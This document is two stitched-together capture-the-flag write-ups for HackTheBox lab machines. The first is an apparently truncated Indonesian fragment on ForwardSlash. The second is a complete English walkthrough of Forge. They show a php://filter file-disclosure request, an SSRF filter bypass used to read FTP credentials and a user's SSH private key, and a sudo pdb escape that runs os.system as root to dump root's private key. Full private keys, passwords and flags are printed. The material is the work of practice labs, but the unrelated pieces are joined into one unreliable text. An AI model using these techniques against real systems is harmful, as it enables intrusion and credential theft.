dTw/cGhwCi8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFydCgpOwoKLy8gQ2hlY2sgaWYgdGhlIHVzZXIgaXMgbG9nZ2VkIGluLCBpZiBub3QgdGhlbiByZWRpcmVjdCBoaW0gdG8gbG9naW4gcGFnZQppZighaXNzZXQoJF9TRVNTSU9OWyJsb2dnZWRpbiJdKSB8fCAkX1NFU1NJT05bImxvZ2dlZGluIl0gIT09IHRydWUpewogICAgaGVhZGVyKCJsb2NhdGlvbjogbG9naW4ucGhwIik7CiAgICBleGl0Owp9IGVsc2UgewoJaGVhZGVyKCJsb2NhdGlvbjogLyIpOwoJZXhpdCgpOwp9Cj8+Cgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDx0aXRsZT5XZWxjb21lPC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iYm9vdHN0cmFwLmNzcyI+CiAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgICAgIGJvZHl7IGZvbnQ6IDE0cHggc2Fucy1zZXJpZjsgdGV4dC1hbGlnbjogY2VudGVyOyB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGRpdiBjbGFzcz0icGFnZS1oZWFkZXIiPgogICAgICAgIDxoMT5IaSwgPGI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfU0VTU0lPTlsidXNlcm5hbWUiXSk7ID8+PC9iPi4gV2VsY29tZSB0byBvdXIgc2l0ZS48L2gxPgogICAgPC9kaXY+CiAgICA8cD4KICAgICAgICA8YSBocmVmPSJyZXNldC1wYXNzd29yZC5waHAiIGNsYXNzPSJidG4gYnRuLXdhcm5pbmciPlJlc2V0IFlvdXIgUGFzc3dvcmQ8L2E+CiAgICAgICAgPGEgaHJlZj0ibG9nb3V0LnBocCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIj5TaWduIE91dCBvZiBZb3VyIEFjY291bnQ8L2E+PGJyPjxicj4KCTxhIGhyZWY9ImhvZi5waHAiIGNsYXNzPSJidG4gYnRuLXdhcm5pbmciPkhhbGwgb2YgZmFtZTwvYT4KCTxhIGhyZWY9InByb2ZpbGVwaWN0dXJlLnBocCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIj5DaGFuZ2UgWW91ciBQcm9maWxlIFBpY3R1cmU8L2E+CiAgICA8L3A+CjwvYm9keT4KPC9odG1sPgo= ``` Jika didecode juga akan valid. ```php <?php // Initialize the session session_start(); // Check if the user is logged in, if not then redirect him to login page if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){ header("location: login.php"); exit; } else { header("location: /"); exit(); } ?> //dipotong karena terlalu panjang. ``` Singkat cerita penulis mencoba semua file, Dan tidak ada yang menarik atau tidak ada jalan masuk menuju mesinnnya. Namun penulis mendapatkan file yang vulnrable yaitu `profilepicture.php` dan `api.php`. - profilepicture.php ```php <?php // Initialize the session session_start(); // Check if the user is logged in, if not then redirect him to login page if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){ header("location: login.php"); exit; } /* if (isset($_GET['success'])){ echo <h1>Profile Picture Change Successfully!</h1>; exit; } */ ?> //dipotong karena terlalu panjang <?php if (isset($_POST['url'])) { $url = 'http://backup.forwardslash.htb/api.php'; $data = array('url' => $_POST['url']); $options = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ) ); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); echo $result; exit; } ?> ``` - api.php ```php <?php session_start(); if (isset($_POST['url'])) { if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true) && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){ echo "User must be logged in to use API"; exit; } $picture = explode("-----output-----<br>", file_get_contents($_POST['url'])); if (strpos($picture[0], "session_start();") !== false) { echo "Permission Denied; not that way ;)"; exit; } echo $picture[0]; exit; } ?> <!-- TODO: removed all the code to actually change the picture after backslash gang attacked us, simply echos as debug now --> ``` Seperti asumsi penulis benar, Fitur menggunakan `file_get_contents` dan melakukan filter `content`. Dikarenakan penulis stuck tidak tau harus mengambil file mana lagi, Penulis melihat kembali hasil `dirsearch` yaitu ada satu dir yang terlewat yaitu `dev`. Berikut tampilannya jika dibuka. ![Backup Tampilan Web](./img/dev.png) Seperti terlihat, Kita tidak boleh melakukan requests, Penulis sempat berfikir melakukan bypass dengan menghidupkan header `X-FORWARDED-FOR` Seperti berikut. Namun tetap tidak berhasil. ![Backup Tampilan Web](./img/xheader.png) Karena saya ingat saya punya aksses untuk decode file, Lalu saya memutuskan mengambil filenya dari curl. Seperti berikut. ```sh curl "http://backup.forwardslash.htb/profilepicture.php" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" -H "Accept-Language: id,en-US;q=0.7,en;q=0.3" -H "Content-Type: application/x-www-form-urlencoded" -H "Origin: http://backup.forwardslash.htb" -H "Connection: keep-alive" -H "Referer: http://backup.forwardslash.htb/profilepicture.php" -H "Cookie: PHPSESSID=f7j7mmjjk2php0nke28n38upr5" -H "Upgrade-Insecure-Requests: 1" --data "url=php://filter/convert.base64-encode/resource=dev/index.php" ``` dan mendapatkan hasil yang saya butuhkan. ```php <?php //include_once ../session.php; // Initialize the session session_start(); if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){ header('HTTP/1.0 403 Forbidden'); echo "<h1>403 Access Denied</h1>"; echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>"; //echo "<h2>Redirecting to login in 3 seconds</h2>" //echo '<meta http-equiv="refresh" content="3;url=../login.php" />'; //header("location: ../login.php"); exit; } ?> <html> <h1>XML Api Test</h1> <h3>This is our api test for when our new website gets refurbished</h3> <form action="/dev/index.php" method="get" id="xmltest"> <textarea name="xml" form="xmltest" rows="20" cols="50"><api> <request>test</request> </api> </textarea> <input type="submit"> </form> </html> <!-- TODO: Fix FTP Login --> <?php if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) { $reg = '/ftp:\/\/[\s\S]*\/\"/'; //$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/' if (preg_match($reg, $_GET['xml'], $match)) { $ip = explode('/', $match[0])[2]; echo $ip; error_log("Connecting"); $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n"); error_log("Logging in"); if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) { error_log("Getting file"); echo ftp_get_string($conn_id, "debug.txt"); } exit; } libxml_disable_entity_loader (false); $xmlfile = $_GET["xml"]; $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $api = simplexml_import_dom($dom); $req = $api->request; echo "-----output-----<br>\r\n"; echo "$req"; } function ftp_get_string($ftp, $filename) { $temp = fopen('php://temp', 'r+'); if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) { rewind($temp); return stream_get_contents($temp); } else { return false; } } ?> ``` Bagian yang paling menarik adalah ```php if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) { error_log("Getting file"); echo ftp_get_string($conn_id, "debug.txt"); } ``` Stuktur function `ftp_login` adalah `ftp_login(koneksi, user, pass)`. Akhirnya setelah perjalanan panjang, Kita mendapatkan user ssh login yang pertama. ### Getting started into Shell Jouney Login ssh dengan menggunakan user `chiv` yang telah ditemukan. ```sh ssh [email protected] ``` Dan masukan passwordnya adalah `N0bodyL1kesBack/` ![Backup Tampilan Web](./img/chivssh.png) #### Recon manual #### Recon menggunakan Script LSE
# Forge - HackTheBox - Writeup Linux, 30 Base Points, Medium ## Machine ![‏‏Forge.JPG](images/Forge.JPG) ## TL;DR To solve this machine, we begin by enumerating open services using ```namp``` – finding ports ```21```, ```22``` and ```80```. ***User***: By using [Upload an Image](http://forge.htb/upload) page we can use [SSRF attack](https://portswigger.net/web-security/ssrf) from the URL [http://admin.Forge.htb](http://admin.Forge.htb), From this URL we found an HTML which contains credentials to ```FTP``` and another ```/upload``` page which support also ```ftp```, Using [http://admin.Forge.htb/upload?u=ftp://user:[email protected]:21/.ssh/id_rsa](http://admin.Forge.htb/upload?u=ftp://user:[email protected]:21/.ssh/id_rsa) URL we get the ```user``` private key. ***Root***: By running ```sudo -l``` we found that we can run ```/opt/remote-manage.py``` as root, By reading the script we can see that we can triggr the python script to run [pdb](https://web.stanford.edu/class/physics91si/2013/handouts/Pdb_Commands.pdf), Using ```pdb``` we can use ```exec``` to run python commands aas root, using ```exec("import os; os.system('cat /root.ssh/id_rsa')")``` we get the ```root``` private key. ![pwn.JPG](images/pwn.JPG) ## Forge Solution ### User Let's start with ```nmap``` scanning: ```console ┌─[evyatar@parrot]─[/hackthebox/Forge] └──╼ $ nmap -sV -sC -oA nmap/Forge 10.10.11.111 Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-20 01:28 IDT Nmap scan report for 10.10.11.111 Host is up (0.14s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://forge.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` By observing port 80 we get the following web page (Redirected to [http://forge.htb/](http://forge.htb/)): ![port80.JPG](images/port80.JPG) By clicking of [Upload an Image](http://forge.htb/upload) we get the following: ![upload.JPG](images/upload.JPG) Using this page, we can upload an image from a local file or a URL. We can try [SSRF](https://portswigger.net/web-security/ssrf) attack by sending a link to local files on a server. If we are trying to send the following link [http://localhost](http://localhost) or [http://forge.htb](http://forge.htb) we can see those domains are on the server blacklist: ![localhost.JPG](images/localhost.JPG) We can bypass it by sending [http://0x7F000001/](http://0x7F000001/) which ```0x7F000001``` is ```127.0.0.1``` OR [http://FoRge.htb](http://FoRge.htb): ![bypass.JPG](images/bypass.JPG) But as we can see, It still does not help us so much. By running ```gobuster vhosts``` we found the following ```vhost```: ```console ┌─[evyatar@parrot]─[/hackthebox/Forge] └──╼ $ gobuster vhost -u http://forge.htb -w subdomains-top1milion.txt -t 100 .... Found: admin.forge.htb (Status: 200) [Size: 27] ``` If we are trying to browse it (add it do ```/etc/hosts``` before) we get: ![admin.JPG](images/admin.JPG) Let's try to access this URL from the uploads page: ![adminreq.JPG](images/adminreq.JPG) By accessing the URL [http://Forge.htb/uploads/aN2YSNqCT2CZe48VbDWy](http://Forge.htb/uploads/aN2YSNqCT2CZe48VbDWy) using Burp repeater we get the following: ![repeater1.JPG](images/repeater1.JPG) ```HTML HTTP/1.1 200 OK Date: Wed, 22 Sep 2021 20:02:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Disposition: inline; filename=aN2YSNqCT2CZe48VbDWy Content-Length: 559 Last-Modified: Wed, 22 Sep 2021 20:02:00 GMT Cache-Control: no-cache Connection: close Content-Type: image/jpg <!DOCTYPE html> <html> <head> <title>Admin Portal</title> </head> <body> <link rel="stylesheet" type="text/css" href="/static/css/main.css"> <header> <nav> <h1 class=""><a href="/">Portal home</a></h1> <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1> <h1 class="align-right"><a href="/upload">Upload image</a></h1> </nav> </header> <br><br><br><br> <br><br><br><br> <center><h1>Welcome Admins!</h1></center> </body> </html> ``` We found there two URL's [http://admin.Forge.htb/announcements](http://admin.Forget.htb/announcements) and [http://admin.Forge.htb/upload](http://admin.Forge.htb/upload). Let's try to access them using the same way, First access to http://admin.Forge.htb/announcements](http://admin.Forget.htb/announcements): ![announcements.JPG](images/announcements.JPG) And we got the following HTML: ```HTML <!DOCTYPE html> <html> <head> <title>Announcements</title> </head> <body> <link rel="stylesheet" type="text/css" href="/static/css/main.css"> <link rel="stylesheet" type="text/css" href="/static/css/announcements.css"> <header> <nav> <h1 class=""><a href="/">Portal home</a></h1> <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1> <h1 class="align-right"><a href="/upload">Upload image</a></h1> </nav> </header> <br><br><br> <ul> <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li> <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li> <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li> </ul> </body> </html> ``` So following the notes we get credentials to ```FTP``` service: ```user:heightofsecurity123!```, And we can read also about the ```/upload``` page. Now, Let's try to access to http://admin.Forge.htb/upload](http://admin.Forget.htb/upload): ![uploadpage.JPG](images/uploadpage.JPG) Now, we get the following HTML: ```HTML <!DOCTYPE html> <html> <head> <title>Upload an image</title> </head> <body onload="show_upload_local_file()"> <link rel="stylesheet" type="text/css" href="/static/css/main.css"> <link rel="stylesheet" type="text/css" href="/static/css/upload.css"> <script type="text/javascript" src="/static/js/main.js"></script> <header> <nav> <h1 class=""><a href="/">Portal home</a></h1> <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1> <h1 class="align-right"><a href="/upload">Upload image</a></h1> </nav> </header> <center> <br><br> <div id="content"> <h2 onclick="show_upload_local_file()"> Upload local file </h2> <h2 onclick="show_upload_remote_file()"> Upload from url </h2> <div id="form-div"> </div> </div> </center> <br> <br> </body> </html> ``` Let's try to enumerate the FTP service using ```/upload``` URL as follow: [http://admin.Forge.htb/upload?u=&lt;url&gt;](http://admin.forge.htb/upload?u=&lt;url&gt;) as described. Trying with ```FTP```: [http://admin.Forge.htb/upload?u=ftp://user:[email protected]:21/](http://admin.Forge.htb/upload?u=ftp://user:[email protected]:21/): ![ftp1.JPG](images/ftp1.JPG) And we get the following files as a response: ![ftpresp.JPG](images/ftpresp.JPG) So we are in ```/home``` directory, So by accessing the following URL:[http://admin.Forge.htb/upload?u=ftp://user:[email protected]:21/.ssh/id_rsa](http://admin.Forge.htb/upload?u=ftp://user:[email protected]:21/.ssh/id_rsa) we can get the user ```SSH``` private key: ![sshprivatekey.JPG](images/sshprivatekey.JPG) Let's save as it ```id_rsa```: ```console -----BEGIN OPENSSH PRIVATE KEY----- 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 shlLupso7WoS0AAAAKdXNlckBmb3JnZQE= -----END OPENSSH PRIVATE KEY----- ``` We know those credentials related to ```user```, So let's log in as ```user``` using this ```SSH``` private key: ```console ┌─[evyatar@parrot]─[/hackthebox/Forge] └──╼ $ ssh -i id_rsa [email protected] Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 22 Sep 2021 08:28:35 PM UTC System load: 0.0 Usage of /: 47.9% of 6.82GB Memory usage: 38% Swap usage: 0% Processes: 222 Users logged in: 0 IPv4 address for eth0: 10.10.11.111 IPv6 address for eth0: dead:beef::250:56ff:feb9:3ea5 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6 user@forge:~$ cat user.txt b51c3bf5a311d2e2ee3e7aee6c2c1d3b user@forge:~$ ``` And we get the user flag ```b51c3bf5a311d2e2ee3e7aee6c2c1d3b```. ### Root By running ```sudo -l``` we get the following: ```console user@forge:/var/www/admin$ sudo -l Matching Defaults entries for user on forge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User user may run the following commands on forge: (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py ``` Let's observe this python script: ```python #!/usr/bin/env python3 import socket import random import subprocess import pdb port = random.randint(1025, 65535) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', port)) sock.listen(1) print(f'Listening on localhost:{port}') (clientsock, addr) = sock.accept() clientsock.send(b'Enter the secret passsword: ') if clientsock.recv(1024).strip().decode() != 'secretadminpassword': clientsock.send(b'Wrong password!\n') else: clientsock.send(b'Welcome admin!\n') while True: clientsock.send(b'\nWhat do you wanna do: \n') clientsock.send(b'[1] View processes\n') clientsock.send(b'[2] View free memory\n') clientsock.send(b'[3] View listening sockets\n') clientsock.send(b'[4] Quit\n') option = int(clientsock.recv(1024).strip()) if option == 1: clientsock.send(subprocess.getoutput('ps aux').encode()) elif option == 2: clientsock.send(subprocess.getoutput('df').encode()) elif option == 3: clientsock.send(subprocess.getoutput('ss -lnt').encode()) elif option == 4: clientsock.send(b'Bye\n') break except Exception as e: print(e) pdb.post_mortem(e.__traceback__) finally: quit() ``` Let's run this script: ```console user@forge:/var/www$ sudo python3 /opt/remote-manage.py Listening on localhost:38013 ``` Next, Let's create ```SSH``` tunnel to access it using our host: ```console ┌─[evyatar@parrot]─[/hackthebox/Forge] └──╼ $ ssh -N -L 38013:127.0.0.1:38013 -i id_rsa [email protected] ``` And now we can access it from our host: ```console ┌─[evyatar@parrot]─[/hackthebox/Forge] └──╼ $ nc 127.0.0.1 38013 Enter the secret passsword: ``` From the python script we can get the password: ```console ┌─[evyatar@parrot]─[/hackthebox/Forge] └──╼ $ nc 127.0.0.1 38013 Enter the secret passsword: secretadminpassword Welcome admin! What do you wanna do: [1] View processes [2] View free memory [3] View listening sockets [4] Quit ``` On the python script we can see the following lines: ```python ... except Exception as e: print(e) pdb.post_mortem(e.__traceback__) ... ``` The python script exception handle is to run [pdb](https://web.stanford.edu/class/physics91si/2013/handouts/Pdb_Commands.pdf). Let's try to send any character, i.e ```X```` to get an exception and to trigger the application to run ```pdb```: ```console ┌─[evyatar@parrot]─[/hackthebox/Forge] └──╼ $ nc 127.0.0.1 38013 Enter the secret passsword: secretadminpassword Welcome admin! What do you wanna do: [1] View processes [2] View free memory [3] View listening sockets [4] Quit X ``` And we triggered the script: ```python user@forge:/var/www$ sudo python3 /opt/remote-manage.py Listening on localhost:38013 invalid literal for int() with base 10: b'X' > /opt/remote-manage.py(27)<module>() -> option = int(clientsock.recv(1024).strip()) (Pdb) help Documented commands (type help <topic>): ======================================== EOF c d h list q rv undisplay a cl debug help ll quit s unt alias clear disable ignore longlist r source until args commands display interact n restart step up b condition down j next return tbreak w break cont enable jump p retval u whatis bt continue exit l pp run unalias where Miscellaneous help topics: ========================== exec pdb (Pdb) ``` We can run python commands using ```exec``` command as follows: ```python (Pdb) exec("import os;os.system('whoami')") root ``` As we can see, we are ```root```, Let's get the root ```SSH``` private key: ```python (Pdb) exec("import os;os.system('cat /root/.ssh/id_rsa')") -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAusTE7uvvBLrfqDLv6I/+Xc9W/RVGA4eFPOowUNkHDZ4MTUm4cK4/ DdTvY7o7bvSinEX26rWdG4eVY3qnBGSACl3VIGX80NsWgyZwWQT20Vj0q8gf674RB4LfB6 i6Awm8cbm3105HxfQnqr4qr2oJEpyDVaF29zpaS+6y0Ogq7HcRkSyQyErBnGmlOYBcBvvh M+/j0iCCMfM6ZbZ/0ouoN4uOXzn+jh/ZJstDoEd0VH4RhnMzHA1hdo+6+OhFUbtoCFdxtP wfzVp0LQb2wqitREeT5GNPIVL2//tbNz+QUfuwQAEHCcveyKWDVTs/klDkcf/p9NqsAspn re6QhoLqzsuAXds0gThQLN+/+EUuV3sZ6wdkmHBqKbm8aaGc84P/SpnDvz249+G188NoUq nVSb9RCRnGy/JStP97umzhbyJLiRpRY8Dlh8Ugln6D58b5QVk3uYjP0muf+SI3No+L7+81 iM7jNo9x2Jsg79tjP/RfgSJdTt6atSgeq9BwBJzxAAAFgPqA8Wj6gPFoAAAAB3NzaC1yc2 EAAAGBALrExO7r7wS636gy7+iP/l3PVv0VRgOHhTzqMFDZBw2eDE1JuHCuPw3U72O6O270 opxF9uq1nRuHlWN6pwRkgApd1SBl/NDbFoMmcFkE9tFY9KvIH+u+EQeC3weougMJvHG5t9 dOR8X0J6q+Kq9qCRKcg1Whdvc6WkvustDoKux3EZEskMhKwZxppTmAXAb74TPv49IggjHz OmW2f9KLqDeLjl85/o4f2SbLQ6BHdFR+EYZzMxwNYXaPuvjoRVG7aAhXcbT8H81adC0G9s KorURHk+RjTyFS9v/7Wzc/kFH7sEABBwnL3silg1U7P5JQ5HH/6fTarALKZ63ukIaC6s7L gF3bNIE4UCzfv/hFLld7GesHZJhwaim5vGmhnPOD/0qZw789uPfhtfPDaFKp1Um/UQkZxs vyUrT/e7ps4W8iS4kaUWPA5YfFIJZ+g+fG+UFZN7mIz9Jrn/kiNzaPi+/vNYjO4zaPcdib IO/bYz/0X4EiXU7emrUoHqvQcASc8QAAAAMBAAEAAAGAR6rR1sx5/1qmECjbnmYCuYSiYK MVJq2OFv3WZG+jITqQhefP+o0ibPBUm/QOclk1PLosMYxXKQUx8eZSyIC4EUJIUhJQnOQ1 E0ZgvggFnfeAi5pThWZ9qmAxrQK1vgyyXwFg5iGHsRIrVn16a61Ipfeg/e7jc6LUm2aQ/1 DXh7145DgxpmnpOVfgqtvydEua8w8OYMdQrlIjCnypN+WXOxk2HJxobakS7qv42zwQC4wE tY7nAdCwoYotuO2IDADZFcRWiPImmTnVWQvM27VKzpuDmp1kmOh8VD1qFV0GlPQIsJMHLH rQYJ6toBi7WaHC7H56EDd9QrVJgmmj50I90weAj8fldN+L8VSl3PKBgzdsxUH9xB3toj1z uYvgk7cPxcW78ObYUkmNUJNMZcA0/LezoXG7fWuhRoOf1eXIbUKYd+ygNlyxaqywufESzY HaGezUEV+UsI0Ll3Me7WyslZaX6hpOjhYJmN3kv0dWNJg9Nkg29Pr4iU5q+t71BYlxAAAA wFWKwWX2ApTatPB/5GvAs3SWT+O3bj3FXoQ3VjI5D+vPyUCx9Dr/iMOBv5YHObfxwqezzD 0m82Zy1gwvWUPpVq4uiRPwwojqAYqDwA/gbX3+LdVR0bZFMFx2R0FzVXEIMCI5Cxvg+DBx NsLIQ8EbEWGp9NWOa9FeRsA8o/KjzFEPU8MlxxgaFkzsxciykNGZk1luUSsNujm7fgWv55 ZdFmti8b1TAt5cVkHrT5Fks835XX9W8exqcOcZlEHIXOSgLQAAAMEA9cceY3X6o9Nu6xPu 3eREkMAjIaR+cY/OrKO40Zm0NiIvpi+kOVoNtau0gXSXNryMyuGsjGuWW8IPnpr21UBJP8 1O4kfqXdsfj067n21kofcxS4Ca6cSi7m4HU6ZGGpiC9eSJ44XRNGypKhahpxhbZqgFFdVU MdzdsZRFhm1tdQU8ZoqouPAX+tI3788IBG2QAgTpQ9ly7sVKMdwfT9qC3wtcgXGS1OweaC BUDvWd2rzP7/egeGqGWFOYZFxKhndPAAAAwQDCiVwE7LiHyZHfHN7amzdusL9odhljHkYf 2xeZP3PERvqWr3g8xwhgT4oGUy8x3zgILYYvnX04FpfpBMke725nEyrvK/kZf/Sgp7Sk0h pbEabGDypeS4A3UIhtaM+VShS7wJGz8sXAbMm+JSwMt67vN95IULw6+SuyirRLUDc77N76 xIK6PSiF7Hs2Z7BZOVQd1BpblnZrL3mbJcdvXS8n55QgDuxfJeoxKrr9r1r/WqRjtce8/A ZPz43Mi1EOl78AAAAKcm9vdEBmb3JnZQE= -----END OPENSSH PRIVATE KEY----- (Pdb) ``` Now, We can save and use the root ```SSH``` private key: ```console ┌─[evyatar@parrot]─[/hackthebox/Forge] └──╼ $ ssh -i id_root [email protected] Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 22 Sep 2021 08:51:52 PM UTC System load: 0.0 Usage of /: 47.9% of 6.82GB Memory usage: 49% Swap usage: 0% Processes: 230 Users logged in: 1 IPv4 address for eth0: 10.10.11.111 IPv6 address for eth0: dead:beef::250:56ff:feb9:3ea5 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Sep 7 17:07:50 2021 root@forge:~# cat root.txt 78fe1efd1096dc5b6e443747ccfe6d74 root@forge:~# ``` And we get the root flag ```78fe1efd1096dc5b6e443747ccfe6d74```.
